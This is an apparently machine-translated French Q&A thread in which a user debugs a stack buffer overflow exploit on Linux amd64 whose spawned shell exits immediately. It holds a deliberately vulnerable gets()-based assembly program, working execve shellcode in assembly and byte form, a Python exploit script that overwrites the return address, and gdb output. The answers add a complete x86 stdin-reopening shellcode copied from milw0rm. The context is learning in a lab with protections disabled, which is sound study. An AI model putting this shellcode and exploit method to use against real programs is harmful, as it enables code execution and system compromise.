2010-05-18 42 views
15

J'ai joué avec des débordements de buffer sous Linux (amd64) et essayé d'exploiter un programme simple, mais il a échoué. J'ai désactivé les fonctions de sécurité (randomisation de disposition d'espace d'adressage avec sysctl -w kernel.randomize_va_space = 0 et bit nx dans le BIOS). Il saute à la pile et exécute le shellcode, mais il ne démarre pas un shell. L'execve syscall réussit mais après, il se termine juste. Une idée de ce qui ne va pas? Exécuter le shellcode autonome fonctionne très bien. Question de bonus: Pourquoi ai-je besoin de mettre zéro à zéro avant d'appeler printf? (Voir le commentaire dans le code)Shellcode pour un débordement de pile simple: Le programme exploité avec shell se termine directement après execve ("/ bin/sh")

fichier vulnérable buffer.s:

.data 
.fmtsp: 
.string "Stackpointer %p\n" 
.fmtjump: 
.string "Jump to %p\n" 
.text 
.global main 
main: 
    push %rbp 
    mov %rsp, %rbp 

    sub $120, %rsp 

    # calling printf without setting rax 
    # to zero results in a segfault. why? 
    xor %rax, %rax 
    mov %rsp, %rsi 
    mov $.fmtsp, %rdi 
    call printf 

    mov %rsp, %rdi 
    call gets 

    xor %rax, %rax 
    mov $.fmtjump, %rdi 
    mov 8(%rbp), %rsi 
    call printf 

    xor %rax, %rax 
    leave 
    ret 

shellcode.s

.text 
.global main 
main: 
    mov $0x68732f6e69622fff, %rbx 
    shr $0x8, %rbx 
    push %rbx 
    mov %rsp, %rdi 
    xor %rsi, %rsi 
    xor %rdx, %rdx 
    xor %rax, %rax 
    add $0x3b, %rax 
    syscall 

exploit.py

shellcode = "\x48\xbb\xff\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x48\x31\xf6\x48\x31\xd2\x48\x31\xc0\x48\x83\xc0\x3b\x0f\x05" 
stackpointer = "\x7f\xff\xff\xff\xe3\x28" 
output = shellcode 
output += 'a' * (120 - len(shellcode)) # fill buffer 
output += 'b' * 8 # override stored base pointer 
output += ''.join(reversed(stackpointer)) 
print output 

Compilé avec:

$ gcc -o buffer buffer.s 
$ gcc -o shellcode shellcode.s 

démarré avec:

$ python exploit.py | ./buffer 
Stackpointer 0x7fffffffe328 
Jump to 0x7fffffffe328 

Debugging avec gdb:

$ python exploit.py > exploit.txt (Note: corrected stackpointer address in exploit.py for gdb) 
$ gdb buffer 
(gdb) run < exploit.txt 
Starting program: /home/henning/bo/buffer < exploit.txt 
Stackpointer 0x7fffffffe308 
Jump to 0x7fffffffe308 
process 4185 is executing new program: /bin/dash 

Program exited normally. 
+0

Je suppose que% rsi% est argv. Peut-il être NULL? –

+0

L'exécution du shellcode directement ("$ ./shellcode") fonctionne donc je suppose qu'il ne devrait pas y avoir de problème. L'équivalent C #include void principal() {execve ("/ bin/sh", NULL, NULL); } démarre également un shell. – henning

+0

Quelle est l'erreur que vous obtenez? Étiez-vous capable de comprendre cela (je suppose que c'est% rax%)? –

Répondre

10

Je vais avoir à peu près le même problème en ce moment avec Ubuntu 9.10 dans une machine virtuelle. Désactivé toutes les mesures de sécurité de l'OS, et des exploits simples comme "quitter le programme et définir le code de sortie à 42" fonctionnent, mais lorsque vous essayez d'ouvrir un shell, le programme se termine juste. sortie de gdb est identique:

(gdb) run < exploit.0xbffff3b8 
Starting program: /home/seminar/ubung/target/client < exploit.0xbffff3b8 

Enter password: Sorry. Wrong password. 
Executing new program: /bin/bash 

Program exited normally. 
(gdb)

La chose est, je besoin de travailler env. 16 heures pour une présentation :-D


Mise à jour: J'ai trouvé cette étude soignée: www.shell-storm.org/papers/files/539.pdf

À la page 16, il est dit: "Si nous essayons d'exécuter un shell, il se termine immédiatement dans cette configuration"

Dans d'autres exemples qui n'utilisent pas gets(), ils font très bien apparaître un shell. Malheureusement, ils ne donnent pas un indice sur pourquoi cela ne fonctionne pas de cette façon. :(


Prochaine mise à jour: Il semble qu'il doit faire avec stdin La coquille ne peut pas utiliser correctement celui qu'il obtient du processus original J'ai essayé en utilisant un shell minimum j'ai trouvé le code source pour (de evilsh).. . il est écrasé au point où il a essayé de lire l'entrée. je suppose, que les contrôles bash/tableau de bord pour cette année et juste sort en silence quand quelque chose ne va pas avec stdin.


Ok s'il vous plaît ne me tuez pas avoir cette conversation avec moi-même ici, mais ...

J'ai trouvé une solution!

Pour une raison quelconque, il est nécessaire de rouvrir les entrées. J'ai trouvé un shellcode travaillant ici:

http://www.milw0rm.com/shellcode/2040

je ne vois pas un dur rapide, mais je peux exécuter des programmes, etc. en utilisant le shell qui ouvre.

+2

À mon humble avis, le stdin doit être rouvert dans le shellcode parce que le shell lit la "fin de fichier" de exploit.txt du stdin partagé. En d'autres termes, lorsque le shell commence, le tampon de stdin contient "end-of-file" car le stdin est partagé entre le shell et le programme d'origine. – feirainy

1

Le lien fourni par Zenoc est mort, mais peut encore être trouvé dans la machine Wayback. Pour plus de commodité, je l'ai reproduit ci-dessous. J'ai dû inclure add $0x10,%esp en haut pour me donner plus d'espace de pile, car tous les push es dans le code mangeaient dans le tampon où mon shellcode était stocké. Si vous souhaitez également l'inclure dans le shellcode, ajoutez simplement "\ x83 \ xc4 \ x10" au début. Le shellcode est 55 octets sans mon addition, et 58 avec.

/* 
* $Id: gets-linux.c,v 1.3 2004/06/02 12:22:30 raptor Exp $ 
* 
* gets-linux.c - stdin re-open shellcode for Linux/x86 
* Copyright (c) 2003 Marco Ivaldi <[email protected]> 
* 
* Local shellcode for stdin re-open and /bin/sh exec. It closes stdin 
* descriptor and re-opens /dev/tty, then does an execve() of /bin/sh. 
* Useful to exploit some gets() buffer overflows in an elegant way... 
*/ 

/* 
* close(0) 
* 
* 8049380:  31 c0     xor %eax,%eax 
* 8049382:  31 db     xor %ebx,%ebx 
* 8049384:  b0 06     mov $0x6,%al 
* 8049386:  cd 80     int $0x80 
* 
* open("/dev/tty", O_RDWR | ...) 
* 
* 8049388:  53      push %ebx 
* 8049389:  68 2f 74 74 79   push $0x7974742f 
* 804938e:  68 2f 64 65 76   push $0x7665642f 
* 8049393:  89 e3     mov %esp,%ebx 
* 8049395:  31 c9     xor %ecx,%ecx 
* 8049397:  66 b9 12 27    mov $0x2712,%cx 
* 804939b:  b0 05     mov $0x5,%al 
* 804939d:  cd 80     int $0x80 
* 
* execve("/bin/sh", ["/bin/sh"], NULL) 
* 
* 804939f:  31 c0     xor %eax,%eax 
* 80493a1:  50      push %eax 
* 80493a2:  68 2f 2f 73 68   push $0x68732f2f 
* 80493a7:  68 2f 62 69 6e   push $0x6e69622f 
* 80493ac:  89 e3     mov %esp,%ebx 
* 80493ae:  50      push %eax 
* 80493af:  53      push %ebx 
* 80493b0:  89 e1     mov %esp,%ecx 
* 80493b2:  99      cltd 
* 80493b3:  b0 0b     mov $0xb,%al 
* 80493b5:  cd 80     int $0x80 
*/ 

char sc[] = 
"\x31\xc0\x31\xdb\xb0\x06\xcd\x80" 
"\x53\x68/tty\x68/dev\x89\xe3\x31\xc9\x66\xb9\x12\x27\xb0\x05\xcd\x80" 
"\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"; 

main() 
{ 
    int (*f)() = (int (*)())sc; f(); 
} 

// milw0rm.com [2006-07-20] 

Remarque: Je n'ai pas pu l'ajouter comme modification à la réponse de Zenoc car la file d'édition est pleine.

Si vous rencontrez des problèmes pour localiser l'adresse de votre shellcode en raison de piles différentes dans le terminal et gdb, consultez ma réponse here.